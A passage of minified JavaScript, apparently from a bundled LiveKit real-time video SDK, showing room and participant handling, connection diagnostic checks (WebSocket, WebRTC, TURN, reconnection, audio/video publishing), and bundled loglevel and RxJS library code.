to create RemoteParticipant for local participant",this.logContext);return}const c=Array.from(this.remoteParticipants.values()).find(u=>u.sid===s);if(!c){this.log.error("Tried to add a track for a participant, that's not present. Sid: ".concat(s),this.logContext);return}let d;this.options.adaptiveStream&&(typeof this.options.adaptiveStream=="object"?d=this.options.adaptiveStream:d={}),c.addSubscribedMediaTrack(e,a,t,n,d)}handleDisconnect(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0,t=arguments.length>1?arguments[1]:void 0;var n;if(this.clearConnectionReconcile(),this.isResuming=!1,this.bufferedEvents=[],this.state!==N.Disconnected){this.regionUrl=void 0;try{this.remoteParticipants.forEach(r=>{r.trackPublications.forEach(s=>{r.unpublishTrack(s.trackSid)})}),this.localParticipant.trackPublications.forEach(r=>{var s,o;r.track&&this.localParticipant.unpublishTrack(r.track,e),e&&((s=r.track)===null||s===void 0||s.detach(),(o=r.track)===null||o===void 0||o.stop())}),this.localParticipant.off(C.ParticipantMetadataChanged,this.onLocalParticipantMetadataChanged).off(C.ParticipantNameChanged,this.onLocalParticipantNameChanged).off(C.TrackMuted,this.onLocalTrackMuted).off(C.TrackUnmuted,this.onLocalTrackUnmuted).off(C.LocalTrackPublished,this.onLocalTrackPublished).off(C.LocalTrackUnpublished,this.onLocalTrackUnpublished).off(C.ConnectionQualityChanged,this.onLocalConnectionQualityChanged).off(C.MediaDevicesError,this.onMediaDevicesError).off(C.AudioStreamAcquired,this.startAudio).off(C.ParticipantPermissionsChanged,this.onLocalParticipantPermissionsChanged),this.localParticipant.trackPublications.clear(),this.localParticipant.videoTrackPublications.clear(),this.localParticipant.audioTrackPublications.clear(),this.remoteParticipants.clear(),this.sidToIdentity.clear(),this.activeSpeakers=[],this.audioContext&&typeof this.options.webAudioMix=="boolean"&&(this.audioContext.close(),this.audioContext=void 0),ne()&&(window.removeEventListener("beforeunload",this.onPageLeave),window.removeEventListener("pagehide",this.onPageLeave),window.removeEventListener("freeze",this.onPageLeave),(n=navigator.mediaDevices)===null||n===void 0||n.removeEventListener("devicechange",this.handleDeviceChange))}finally{this.setAndEmitConnectionState(N.Disconnected),this.emit(k.Disconnected,t)}}}handleParticipantDisconnected(e,t){this.remoteParticipants.delete(e),t&&(t.trackPublications.forEach(n=>{t.unpublishTrack(n.trackSid,!0)}),this.emit(k.ParticipantDisconnected,t))}acquireAudioContext(){return p(this,void 0,void 0,function*(){var e,t;if(typeof this.options.webAudioMix!="boolean"&&this.options.webAudioMix.audioContext?this.audioContext=this.options.webAudioMix.audioContext:(!this.audioContext||this.audioContext.state==="closed")&&(this.audioContext=(e=fn())!==null&&e!==void 0?e:void 0),this.audioContext&&this.audioContext.state==="suspended")try{yield this.audioContext.resume()}catch(r){this.log.warn("Could not resume audio context",Object.assign(Object.assign({},this.logContext),{error:r}))}this.options.webAudioMix&&this.remoteParticipants.forEach(r=>r.setAudioContext(this.audioContext)),this.localParticipant.setAudioContext(this.audioContext);const n=((t=this.audioContext)===null||t===void 0?void 0:t.state)==="running";n!==this.canPlaybackAudio&&(this.audioEnabled=n,this.emit(k.AudioPlaybackStatusChanged,n))})}createParticipant(e,t){var n;let r;return t?r=Jt.fromParticipantInfo(this.engine.client,t,{loggerContextCb:()=>this.logContext,loggerName:this.options.loggerName}):r=new Jt(this.engine.client,"",e,void 0,void 0,{loggerContextCb:()=>this.logContext,loggerName:this.options.loggerName}),this.options.webAudioMix&&r.setAudioContext(this.audioContext),!((n=this.options.audioOutput)===null||n===void 0)&&n.deviceId&&r.setAudioOutput(this.options.audioOutput).catch(s=>this.log.warn("Could not set audio output: ".concat(s.message),this.logContext)),r}getOrCreateParticipant(e,t){if(this.remoteParticipants.has(e)){const r=this.remoteParticipants.get(e);return t&&r.updateInfo(t)&&this.sidToIdentity.set(t.sid,t.identity),r}const n=this.createParticipant(e,t);return this.remoteParticipants.set(e,n),this.sidToIdentity.set(t.sid,t.identity),this.emitWhenConnected(k.ParticipantConnected,n),n.on(C.TrackPublished,r=>{this.emitWhenConnected(k.TrackPublished,r,n)}).on(C.TrackSubscribed,(r,s)=>{r.kind===y.Kind.Audio?(r.on(P.AudioPlaybackStarted,this.handleAudioPlaybackStarted),r.on(P.AudioPlaybackFailed,this.handleAudioPlaybackFailed)):r.kind===y.Kind.Video&&(r.on(P.VideoPlaybackFailed,this.handleVideoPlaybackFailed),r.on(P.VideoPlaybackStarted,this.handleVideoPlaybackStarted)),this.emit(k.TrackSubscribed,r,s,n)}).on(C.TrackUnpublished,r=>{this.emit(k.TrackUnpublished,r,n)}).on(C.TrackUnsubscribed,(r,s)=>{this.emit(k.TrackUnsubscribed,r,s,n)}).on(C.TrackSubscriptionFailed,r=>{this.emit(k.TrackSubscriptionFailed,r,n)}).on(C.TrackMuted,r=>{this.emitWhenConnected(k.TrackMuted,r,n)}).on(C.TrackUnmuted,r=>{this.emitWhenConnected(k.TrackUnmuted,r,n)}).on(C.ParticipantMetadataChanged,r=>{this.emitWhenConnected(k.ParticipantMetadataChanged,r,n)}).on(C.ParticipantNameChanged,r=>{this.emitWhenConnected(k.ParticipantNameChanged,r,n)}).on(C.ConnectionQualityChanged,r=>{this.emitWhenConnected(k.ConnectionQualityChanged,r,n)}).on(C.ParticipantPermissionsChanged,r=>{this.emitWhenConnected(k.ParticipantPermissionsChanged,r,n)}).on(C.TrackSubscriptionStatusChanged,(r,s)=>{this.emitWhenConnected(k.TrackSubscriptionStatusChanged,r,s,n)}).on(C.TrackSubscriptionFailed,(r,s)=>{this.emit(k.TrackSubscriptionFailed,r,n,s)}).on(C.TrackSubscriptionPermissionChanged,(r,s)=>{this.emitWhenConnected(k.TrackSubscriptionPermissionChanged,r,s,n)}),t&&n.updateInfo(t),n}sendSyncState(){const e=Array.from(this.remoteParticipants.values()).reduce((n,r)=>(n.push(...r.getTrackPublications()),n),[]),t=this.localParticipant.getTrackPublications();this.engine.sendSyncState(e,t)}updateSubscriptions(){for(const e of this.remoteParticipants.values())for(const t of e.videoTrackPublications.values())t.isSubscribed&&t instanceof St&&t.emitTrackUpdate()}getRemoteParticipantBySid(e){const t=this.sidToIdentity.get(e);if(t)return this.remoteParticipants.get(t)}registerConnectionReconcile(){this.clearConnectionReconcile();let e=0;this.connectionReconcileInterval=Q.setInterval(()=>{!this.engine||this.engine.isClosed||!this.engine.verifyTransport()?(e++,this.log.warn("detected connection state mismatch",Object.assign(Object.assign({},this.logContext),{numFailures:e,engine:{closed:this.engine.isClosed,transportsConnected:this.engine.verifyTransport()}})),e>=3&&(this.recreateEngine(),this.handleDisconnect(this.options.stopLocalTrackOnUnpublish,ht.STATE_MISMATCH))):e=0},au)}clearConnectionReconcile(){this.connectionReconcileInterval&&Q.clearInterval(this.connectionReconcileInterval)}setAndEmitConnectionState(e){return e===this.state?!1:(this.state=e,this.emit(k.ConnectionStateChanged,this.state),!0)}emitBufferedEvents(){this.bufferedEvents.forEach(e=>{let[t,n]=e;this.emit(t,...n)}),this.bufferedEvents=[]}emitWhenConnected(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];if(this.state===N.Reconnecting||this.isResuming||!this.engine||this.engine.pendingReconnect)this.bufferedEvents.push([e,n]);else if(this.state===N.Connected)return this.emit(e,...n);return!1}simulateParticipants(e){return p(this,void 0,void 0,function*(){var t,n;const r=Object.assign({audio:!0,video:!0,useRealTracks:!1},e.publish),s=Object.assign({count:9,audio:!1,video:!0,aspectRatios:[1.66,1.7,1.3]},e.participants);if(this.handleDisconnect(),this.roomInfo=new nn({sid:"RM_SIMULATED",name:"simulated-room",emptyTimeout:0,maxParticipants:0,creationTime:J.parse(new Date().getTime()),metadata:"",numParticipants:1,numPublishers:1,turnPassword:"",enabledCodecs:[],activeRecording:!1}),this.localParticipant.updateInfo(new vt({identity:"simulated-local",name:"local-name"})),this.setupLocalParticipantEvents(),this.emit(k.SignalConnected),this.emit(k.Connected),this.setAndEmitConnectionState(N.Connected),r.video){const o=new Ht(y.Kind.Video,new Ke({source:$.CAMERA,sid:Math.floor(Math.random()*1e4).toString(),type:ue.AUDIO,name:"video-dummy"}),new ie(r.useRealTracks?(yield window.navigator.mediaDevices.getUserMedia({video:!0})).getVideoTracks()[0]:Zn(160*((t=s.aspectRatios[0])!==null&&t!==void 0?t:1),160,!0,!0),void 0,!1,{loggerName:this.options.loggerName,loggerContextCb:()=>this.logContext}),{loggerName:this.options.loggerName,loggerContextCb:()=>this.logContext});this.localParticipant.addTrackPublication(o),this.localParticipant.emit(C.LocalTrackPublished,o)}if(r.audio){const o=new Ht(y.Kind.Audio,new Ke({source:$.MICROPHONE,sid:Math.floor(Math.random()*1e4).toString(),type:ue.AUDIO}),new Y(r.useRealTracks?(yield navigator.mediaDevices.getUserMedia({audio:!0})).getAudioTracks()[0]:fi(),void 0,!1,this.audioContext,{loggerName:this.options.loggerName,loggerContextCb:()=>this.logContext}),{loggerName:this.options.loggerName,loggerContextCb:()=>this.logContext});this.localParticipant.addTrackPublication(o),this.localParticipant.emit(C.LocalTrackPublished,o)}for(let o=0;o<s.count-1;o+=1){let a=new vt({sid:Math.floor(Math.random()*1e4).toString(),identity:"simulated-".concat(o),state:Ri.ACTIVE,tracks:[],joinedAt:J.parse(Date.now())});const c=this.getOrCreateParticipant(a.identity,a);if(s.video){const d=Zn(160*((n=s.aspectRatios[o%s.aspectRatios.length])!==null&&n!==void 0?n:1),160,!1,!0),u=new Ke({source:$.CAMERA,sid:Math.floor(Math.random()*1e4).toString(),type:ue.AUDIO});c.addSubscribedMediaTrack(d,u.sid,new MediaStream([d])),a.tracks=[...a.tracks,u]}if(s.audio){const d=fi(),u=new Ke({source:$.MICROPHONE,sid:Math.floor(Math.random()*1e4).toString(),type:ue.AUDIO});c.addSubscribedMediaTrack(d,u.sid,new MediaStream([d])),a.tracks=[...a.tracks,u]}c.updateInfo(a)}})}emit(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r<t;r++)n[r-1]=arguments[r];if(e!==k.ActiveSpeakersChanged){const s=fo(n).filter(o=>o!==void 0);this.log.debug("room event ".concat(e),Object.assign(Object.assign({},this.logContext),{event:e,args:s}))}return super.emit(e,...n)}}function fo(i){return i.map(e=>{if(e)return Array.isArray(e)?fo(e):typeof e=="object"?"logContext"in e&&e.logContext:e})}var de;(function(i){i[i.IDLE=0]="IDLE",i[i.RUNNING=1]="RUNNING",i[i.SKIPPED=2]="SKIPPED",i[i.SUCCESS=3]="SUCCESS",i[i.FAILED=4]="FAILED"})(de||(de={}));class et extends ve.EventEmitter{constructor(e,t){let n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{};super(),this.status=de.IDLE,this.logs=[],this.errorsAsWarnings=!1,this.url=e,this.token=t,this.name=this.constructor.name,this.room=new ho(n.roomOptions),this.connectOptions=n.connectOptions,n.errorsAsWarnings&&(this.errorsAsWarnings=n.errorsAsWarnings)}run(e){return p(this,void 0,void 0,function*(){if(this.status!==de.IDLE)throw Error("check is running already");this.setStatus(de.RUNNING);try{yield this.perform()}catch(t){t instanceof Error&&(this.errorsAsWarnings?this.appendWarning(t.message):this.appendError(t.message))}return yield this.disconnect(),yield new Promise(t=>setTimeout(t,500)),this.status!==de.SKIPPED&&this.setStatus(this.isSuccess()?de.SUCCESS:de.FAILED),e&&e(),this.getInfo()})}isSuccess(){return!this.logs.some(e=>e.level==="error")}connect(){return p(this,void 0,void 0,function*(){return this.room.state===N.Connected?this.room:(yield this.room.connect(this.url,this.token),this.room)})}disconnect(){return p(this,void 0,void 0,function*(){this.room&&this.room.state!==N.Disconnected&&(yield this.room.disconnect(),yield new Promise(e=>setTimeout(e,500)))})}skip(){this.setStatus(de.SKIPPED)}appendMessage(e){this.logs.push({level:"info",message:e}),this.emit("update",this.getInfo())}appendWarning(e){this.logs.push({level:"warning",message:e}),this.emit("update",this.getInfo())}appendError(e){this.logs.push({level:"error",message:e}),this.emit("update",this.getInfo())}setStatus(e){this.status=e,this.emit("update",this.getInfo())}get engine(){var e;return(e=this.room)===null||e===void 0?void 0:e.engine}getInfo(){return{logs:this.logs,name:this.name,status:this.status,description:this.description}}}function po(i){return p(this,void 0,void 0,function*(){var e,t;i??(i={}),(e=i.audio)!==null&&e!==void 0||(i.audio=!0),(t=i.video)!==null&&t!==void 0||(i.video=!0);const n=Qs(i,ro,so),r=ii(n),s=navigator.mediaDevices.getUserMedia(r);i.audio&&(Z.userMediaPromiseMap.set("audioinput",s),s.catch(()=>Z.userMediaPromiseMap.delete("audioinput"))),i.video&&(Z.userMediaPromiseMap.set("videoinput",s),s.catch(()=>Z.userMediaPromiseMap.delete("videoinput")));const o=yield s;return Promise.all(o.getTracks().map(a=>p(this,void 0,void 0,function*(){const c=a.kind==="audio";let d=c?i.audio:i.video;(typeof d=="boolean"||!d)&&(d={});let u;const l=c?r.audio:r.video;typeof l!="boolean"&&(u=l),u?u.deviceId=a.getSettings().deviceId:u={deviceId:a.getSettings().deviceId};const h=oo(a,u);return h.kind===y.Kind.Video?h.source=y.Source.Camera:h.kind===y.Kind.Audio&&(h.source=y.Source.Microphone),h.mediaStream=o,d.processor&&(h instanceof Y?yield h.setProcessor(d.processor):h instanceof ie&&(yield h.setProcessor(d.processor))),h})))})}function cu(i){return p(this,void 0,void 0,function*(){return(yield po({audio:!1,video:i}))[0]})}function du(i){return p(this,void 0,void 0,function*(){return(yield po({audio:i,video:!1}))[0]})}class uu extends et{get description(){return"Can publish audio"}perform(){return p(this,void 0,void 0,function*(){var e;const t=yield this.connect(),n=yield du();t.localParticipant.publishTrack(n),yield new Promise(o=>setTimeout(o,3e3));const r=yield(e=n.sender)===null||e===void 0?void 0:e.getStats();if(!r)throw new Error("Could not get RTCStats");let s=0;if(r.forEach(o=>{o.type==="outbound-rtp"&&o.mediaType==="audio"&&(s=o.packetsSent)}),s===0)throw new Error("Could not determine packets are sent");this.appendMessage("published ".concat(s," audio packets"))})}}class lu extends et{get description(){return"Can publish video"}perform(){return p(this,void 0,void 0,function*(){var e;const t=yield this.connect(),n=yield cu();t.localParticipant.publishTrack(n),yield new Promise(o=>setTimeout(o,3e3));const r=yield(e=n.sender)===null||e===void 0?void 0:e.getStats();if(!r)throw new Error("Could not get RTCStats");let s=0;if(r.forEach(o=>{o.type==="outbound-rtp"&&o.mediaType==="video"&&(s=o.packetsSent)}),s===0)throw new Error("Could not determine packets are sent");this.appendMessage("published ".concat(s," video packets"))})}}class hu extends et{get description(){return"Resuming connection after interruption"}perform(){return p(this,void 0,void 0,function*(){var e;const t=yield this.connect();let n=!1,r=!1,s;const o=new Promise(c=>{setTimeout(c,5e3),s=c});t.on(k.Reconnecting,()=>{n=!0}).on(k.Reconnected,()=>{r=!0,s(!0)}),(e=t.engine.client.ws)===null||e===void 0||e.close();const a=t.engine.client.onClose;if(a&&a(""),yield o,n){if(!r||t.state!==N.Connected)throw this.appendWarning("reconnection is only possible in Redis-based configurations"),new Error("Not able to reconnect")}else throw new Error("Did not attempt to reconnect")})}}class fu extends et{get description(){return"Can connect via TURN"}perform(){return p(this,void 0,void 0,function*(){var e,t;const n=new pn,r=yield n.join(this.url,this.token,{autoSubscribe:!0,maxRetries:0,e2eeEnabled:!1,websocketTimeout:15e3});let s=!1,o=!1,a=!1;for(let c of r.iceServers)for(let d of c.urls)d.startsWith("turn:")?(o=!0,a=!0):d.startsWith("turns:")&&(o=!0,a=!0,s=!0),d.startsWith("stun:")&&(a=!0);a?o&&!s&&this.appendWarning("TURN is configured server side, but TURN/TLS is unavailable."):this.appendWarning("No STUN servers configured on server side."),yield n.close(),!((t=(e=this.connectOptions)===null||e===void 0?void 0:e.rtcConfig)===null||t===void 0)&&t.iceServers||o?yield this.room.connect(this.url,this.token,{rtcConfig:{iceTransportPolicy:"relay"}}):(this.appendWarning("No TURN servers configured."),this.skip(),yield new Promise(c=>setTimeout(c,0)))})}}class pu extends et{get description(){return"Establishing WebRTC connection"}perform(){return p(this,void 0,void 0,function*(){let e=!1,t=!1;this.room.on(k.SignalConnected,()=>{const n=this.room.engine.client.onTrickle;this.room.engine.client.onTrickle=(r,s)=>{if(r.candidate){const o=new RTCIceCandidate(r);let a="".concat(o.protocol," ").concat(o.address,":").concat(o.port," ").concat(o.type);o.address&&(mu(o.address)?a+=" (private)":o.protocol==="tcp"&&o.tcpType==="passive"?(e=!0,a+=" (passive)"):o.protocol==="udp"&&(t=!0)),this.appendMessage(a)}n&&n(r,s)},this.room.engine.pcManager&&(this.room.engine.pcManager.subscriber.onIceCandidateError=r=>{r instanceof RTCPeerConnectionIceErrorEvent&&this.appendWarning("error with ICE candidate: ".concat(r.errorCode," ").concat(r.errorText," ").concat(r.url))})});try{yield this.connect(),M.info("now the room is connected")}catch(n){throw this.appendWarning("ports need to be open on firewall in order to connect."),n}e||this.appendWarning("Server is not configured for ICE/TCP"),t||this.appendWarning("No public IPv4 UDP candidates were found. Your server is likely not configured correctly")})}}function mu(i){const e=i.split(".");if(e.length===4){if(e[0]==="10")return!0;if(e[0]==="192"&&e[1]==="168")return!0;if(e[0]==="172"){const t=parseInt(e[1],10);if(t>=16&&t<=31)return!0}}return!1}class gu extends et{get description(){return"Connecting to signal connection via WebSocket"}perform(){return p(this,void 0,void 0,function*(){var e,t,n;(this.url.startsWith("ws:")||this.url.startsWith("http:"))&&this.appendWarning("Server is insecure, clients may block connections to it");let r=new pn;const s=yield r.join(this.url,this.token,{autoSubscribe:!0,maxRetries:0,e2eeEnabled:!1,websocketTimeout:15e3});this.appendMessage("Connected to server, version ".concat(s.serverVersion,".")),((e=s.serverInfo)===null||e===void 0?void 0:e.edition)===Wr.Cloud&&(!((t=s.serverInfo)===null||t===void 0)&&t.region)&&this.appendMessage("LiveKit Cloud: ".concat((n=s.serverInfo)===null||n===void 0?void 0:n.region)),yield r.close()})}}class eh extends ve.EventEmitter{constructor(e,t){let n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{};super(),this.options={},this.checkResults=new Map,this.url=e,this.token=t,this.options=n}getNextCheckId(){const e=this.checkResults.size;return this.checkResults.set(e,{logs:[],status:de.IDLE,name:"",description:""}),e}updateCheck(e,t){this.checkResults.set(e,t),this.emit("checkUpdate",e,t)}isSuccess(){return Array.from(this.checkResults.values()).every(e=>e.status!==de.FAILED)}getResults(){return Array.from(this.checkResults.values())}createAndRunCheck(e){return p(this,void 0,void 0,function*(){const t=this.getNextCheckId(),n=new e(this.url,this.token,this.options),r=o=>{this.updateCheck(t,o)};n.on("update",r);const s=yield n.run();return n.off("update",r),s})}checkWebsocket(){return p(this,void 0,void 0,function*(){return this.createAndRunCheck(gu)})}checkWebRTC(){return p(this,void 0,void 0,function*(){return this.createAndRunCheck(pu)})}checkTURN(){return p(this,void 0,void 0,function*(){return this.createAndRunCheck(fu)})}checkReconnect(){return p(this,void 0,void 0,function*(){return this.createAndRunCheck(hu)})}checkPublishAudio(){return p(this,void 0,void 0,function*(){return this.createAndRunCheck(uu)})}checkPublishVideo(){return p(this,void 0,void 0,function*(){return this.createAndRunCheck(lu)})}}var mo={exports:{}};(function(i){(function(e,t){i.exports?i.exports=t():e.log=t()})(at,function(){var e=function(){},t="undefined",n=typeof window!==t&&typeof window.navigator!==t&&/Trident\/|MSIE /.test(window.navigator.userAgent),r=["trace","debug","info","warn","error"],s={},o=null;function a(g,b){var m=g[b];if(typeof m.bind=="function")return m.bind(g);try{return Function.prototype.bind.call(m,g)}catch{return function(){return Function.prototype.apply.apply(m,[g,arguments])}}}function c(){console.log&&(console.log.apply?console.log.apply(console,arguments):Function.prototype.apply.apply(console.log,[console,arguments])),console.trace&&console.trace()}function d(g){return g==="debug"&&(g="log"),typeof console===t?!1:g==="trace"&&n?c:console[g]!==void 0?a(console,g):console.log!==void 0?a(console,"log"):e}function u(){for(var g=this.getLevel(),b=0;b<r.length;b++){var m=r[b];this[m]=b<g?e:this.methodFactory(m,g,this.name)}if(this.log=this.debug,typeof console===t&&g<this.levels.SILENT)return"No console available for logging"}function l(g){return function(){typeof console!==t&&(u.call(this),this[g].apply(this,arguments))}}function h(g,b,m){return d(g)||l.apply(this,arguments)}function f(g,b){var m=this,R,I,x,O="loglevel";typeof g=="string"?O+=":"+g:typeof g=="symbol"&&(O=void 0);function ee(_){var A=(r[_]||"silent").toUpperCase();if(!(typeof window===t||!O)){try{window.localStorage[O]=A;return}catch{}try{window.document.cookie=encodeURIComponent(O)+"="+A+";"}catch{}}}function H(){var _;if(!(typeof window===t||!O)){try{_=window.localStorage[O]}catch{}if(typeof _===t)try{var A=window.document.cookie,be=encodeURIComponent(O),tt=A.indexOf(be+"=");tt!==-1&&(_=/^([^;]+)/.exec(A.slice(tt+be.length+1))[1])}catch{}return m.levels[_]===void 0&&(_=void 0),_}}function D(){if(!(typeof window===t||!O)){try{window.localStorage.removeItem(O)}catch{}try{window.document.cookie=encodeURIComponent(O)+"=; expires=Thu, 01 Jan 1970 00:00:00 UTC"}catch{}}}function V(_){var A=_;if(typeof A=="string"&&m.levels[A.toUpperCase()]!==void 0&&(A=m.levels[A.toUpperCase()]),typeof A=="number"&&A>=0&&A<=m.levels.SILENT)return A;throw new TypeError("log.setLevel() called with invalid level: "+_)}m.name=g,m.levels={TRACE:0,DEBUG:1,INFO:2,WARN:3,ERROR:4,SILENT:5},m.methodFactory=b||h,m.getLevel=function(){return x??I??R},m.setLevel=function(_,A){return x=V(_),A!==!1&&ee(x),u.call(m)},m.setDefaultLevel=function(_){I=V(_),H()||m.setLevel(_,!1)},m.resetLevel=function(){x=null,D(),u.call(m)},m.enableAll=function(_){m.setLevel(m.levels.TRACE,_)},m.disableAll=function(_){m.setLevel(m.levels.SILENT,_)},m.rebuild=function(){if(o!==m&&(R=V(o.getLevel())),u.call(m),o===m)for(var _ in s)s[_].rebuild()},R=V(o?o.getLevel():"WARN");var Re=H();Re!=null&&(x=V(Re)),u.call(m)}o=new f,o.getLogger=function(b){if(typeof b!="symbol"&&typeof b!="string"||b==="")throw new TypeError("You must supply a name when creating a logger.");var m=s[b];return m||(m=s[b]=new f(b,o.methodFactory)),m};var v=typeof window!==t?window.log:void 0;return o.noConflict=function(){return typeof window!==t&&window.log===o&&(window.log=v),o},o.getLoggers=function(){return s},o.default=o,o})})(mo);var vu=mo.exports;const bu=kr(vu);function z(i){return typeof i=="function"}function yu(i){var e=function(n){Error.call(n),n.stack=new Error().stack},t=i(e);return t.prototype=Object.create(Error.prototype),t.prototype.constructor=t,t}var ki=yu(function(i){return function(t){i(this),this.message=t?t.length+` errors occurred during unsubscription:
`+t.map(function(n,r){return r+1+") "+n.toString()}).join(`
  `):"",this.name="UnsubscriptionError",this.errors=t}});function fr(i,e){if(i){var t=i.indexOf(e);0<=t&&i.splice(t,1)}}var vn=function(){function i(e){this.initialTeardown=e,this.closed=!1,this._parentage=null,this._finalizers=null}return i.prototype.unsubscribe=function(){var e,t,n,r,s;if(!this.closed){this.closed=!0;var o=this._parentage;if(o)if(this._parentage=null,Array.isArray(o))try{for(var a=Si(o),c=a.next();!c.done;c=a.next()){var d=c.value;d.remove(this)}}catch(g){e={error:g}}finally{try{c&&!c.done&&(t=a.return)&&t.call(a)}finally{if(e)throw e.error}}else o.remove(this);var u=this.initialTeardown;if(z(u))try{u()}catch(g){s=g instanceof ki?g.errors:[g]}var l=this._finalizers;if(l){this._finalizers=null;try{for(var h=Si(l),f=h.next();!f.done;f=h.next()){var v=f.value;try{pr(v)}catch(g){s=s??[],g instanceof ki?s=Ci(Ci([],Pi(s)),Pi(g.errors)):s.push(g)}}}catch(g){n={error:g}}finally{try{f&&!f.done&&(r=h.return)&&r.call(h)}finally{if(n)throw n.error}}}if(s)throw new ki(s)}},i.prototype.add=function(e){var t;if(e&&e!==this)if(this.closed)pr(e);else{if(e instanceof i){if(e.closed||e._hasParent(this))return;e._addParent(this)}(this._finalizers=(t=this._finalizers)!==null&&t!==void 0?t:[]).push(e)}},i.prototype._hasParent=function(e){var t=this._parentage;return t===e||Array.isArray(t)&&t.includes(e)},i.prototype._addParent=function(e){var t=this._parentage;this._parentage=Array.isArray(t)?(t.push(e),t):t?[t,e]:e},i.prototype._removeParent=function(e){var t=this._parentage;t===e?this._parentage=null:Array.isArray(t)&&fr(t,e)},i.prototype.remove=function(e){var t=this._finalizers;t&&fr(t,e),e instanceof i&&e._removeParent(this)},i.EMPTY=function(){var e=new i;return e.closed=!0,e}(),i}();vn.EMPTY;function go(i){return i instanceof vn||i&&"closed"in i&&z(i.remove)&&z(i.add)&&z(i.unsubscribe)}function pr(i){z(i)?i():i.unsubscribe()}var vo={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1},bo={setTimeout:function(i,e){for(var t=[],n=2;n<arguments.length;n++)t[n-2]=arguments[n];return setTimeout.apply(void 0,Ci([i,e],Pi(t)))},clearTimeout:function(i){var e=bo.delegate;return((e==null?void 0:e.clearTimeout)||clearTimeout)(i)},delegate:void 0};function yo(i){bo.setTimeout(function(){throw i})}function mr(){}function ku(i){i()}var bn=function(i){Zi(e,i);function e(t){var n=i.call(this)||this;return n.isStopped=!1,t?(n.destination=t,go(t)&&t.add(n)):n.destination=Pu,n}return e.create=function(t,n,r){return new Yi(t,n,r)},e.prototype.next=function(t){this.isStopped||this._next(t)},e.prototype.error=function(t){this.isStopped||(this.isStopped=!0,this._error(t))},e.prototype.complete=function(){this.isStopped||(this.isStopped=!0,this._complete())},e.prototype.unsubscribe=function(){this.closed||(this.isStopped=!0,i.prototype.unsubscribe.call(this),this.destination=null)},e.prototype._next=function(t){this.destination.next(t)},e.prototype._error=function(t){try{this.destination.error(t)}finally{this.unsubscribe()}},e.prototype._complete=function(){try{this.destination.complete()}finally{this.unsubscribe()}},e}(vn),Tu=Function.prototype.bind;function Ti(i,e){return Tu.call(i,e)}var Su=function(){function i(e){this.partialObserver=e}return i.prototype.next=function(e){var t=this.partialObserver;if(t.next)try{t.next(e)}catch(n){It(n)}},i.prototype.error=function(e){var t=this.partialObserver;if(t.error)try{t.error(e)}catch(n){It(n)}else It(e)},i.prototype.complete=function(){var e=this.partialObserver;if(e.complete)try{e.complete()}catch(t){It(t)}},i}(),Yi=function(i){Zi(e,i);function e(t,n,r){var s=i.call(this)||this,o;if(z(t)||!t)o={next:t??void 0,error:n??void 0,complete:r??void 0};else{var a;s&&vo.useDeprecatedNextContext?(a=Object.create(t),a.unsubscribe=function(){return s.unsubscribe()},o={next:t.next&&Ti(t.next,a),error:t.error&&Ti(t.error,a),complete:t.complete&&Ti(t.complete,a)}):o=t}return s.destination=new Su(o),s}return e}(bn);function It(i){yo(i)}function Cu(i){throw i}var Pu={closed:!0,next:mr,error:Cu,complete:mr},yn=function(){return typeof Symbol=="function"&&Symbol.observable||"@@observable"}();function ko(i){return i}function Eu(i){return i.length===0?ko:i.length===1?i[0]:function(t){return i.reduce(function(n,r){return r(n)},t)}}var ae=function(){function i(e){e&&(this._subscribe=e)}return i.prototype.lift=function(e){var t=new i;return t.source=this,t.operator=e,t},i.prototype.subscribe=function(e,t,n){var r=this,s=Ru(e)?e:new Yi(e,t,n);return ku(function(){var o=r,a=o.operator,c=o.source;s.add(a?a.call(s,c):c?r._subscribe(s):r._trySubscribe(s))}),s},i.prototype._trySubscribe=function(e){try{return this._subscribe(e)}catch(t){e.error(t)}},i.prototype.forEach=function(e,t){var n=this;return t=gr(t),new t(function(r,s){var o=new Yi({next:function(a){try{e(a)}catch(c){s(c),o.unsubscribe()}},error:s,complete:r});n.subscribe(o)})},i.prototype._subscribe=function(e){var t;return(t=this.source)===null||t===void 0?void 0:t.subscribe(e)},i.prototype[yn]=function(){return this},i.prototype.pipe=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return Eu(e)(this)},i.prototype.toPromise=function(e){var t=this;return e=gr(e),new e(function(n,r){var s;t.subscribe(function(o){return s=o},function(o){return r(o)},function(){return n(s)})})},i.create=function(e){return new i(e)},i}();function gr(i){var e;return(e=i??vo.Promise)!==null&&e!==void 0?e:Promise}function wu(i){return i&&z(i.next)&&z(i.error)&&z(i.complete)}function Ru(i){return i&&i instanceof bn||wu(i)&&go(i)}function _u(i){return z(i==null?void 0:i.lift)}function Ct(i){return function(e){if(_u(e))return e.lift(function(t){try{return i(t,this)}catch(n){this.error(n)}});throw new TypeError("Unable to lift unknown Observable type")}}function Qt(i,e,t,n,r){return new Iu(i,e,t,n,r)}var Iu=function(i){Zi(e,i);function e(t,n,r,s,o,a){var c=i.call(this,t)||this;return c.onFinalize=o,c.shouldUnsubscribe=a,c._next=n?function(d){try{n(d)}catch(u){t.error(u)}}:i.prototype._next,c._error=s?function(d){try{s(d)}catch(u){t.error(u)}finally{this.unsubscribe()}}:i.prototype._error,c._complete=r?function(){try{r()}catch(d){t.error(d)}finally{this.unsubscribe()}}:i.prototype._complete,c}return e.prototype.unsubscribe=function(){var t;if(!this.shouldUnsubscribe||this.shouldUnsubscribe()){var n=this.closed;i.prototype.unsubscribe.call(this),!n&&((t=this.onFinalize)===null||t===void 0||t.call(this))}},e}(bn);function Ou(i){return i&&z(i.schedule)}function xu(i){return i[i.length-1]}function To(i){return Ou(xu(i))?i.pop():void 0}var So=function(i){return i&&typeof i.length=="number"&&typeof i!="function"};function Co(i){return z(i==null?void 0:i.then)}function Po(i){return z(i[yn])}function Eo(i){return Symbol.asyncIterator&&z(i==null?void 0:i[Symbol.asyncIterator])}function wo(i){return new TypeError("You provided "+(i!==null&&typeof i=="object"?"an invalid object":"'"+i+"'")+" where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.")}function Mu(){return typeof Symbol!="function"||!Symbol.iterator?"@@iterator":Symbol.iterator}var 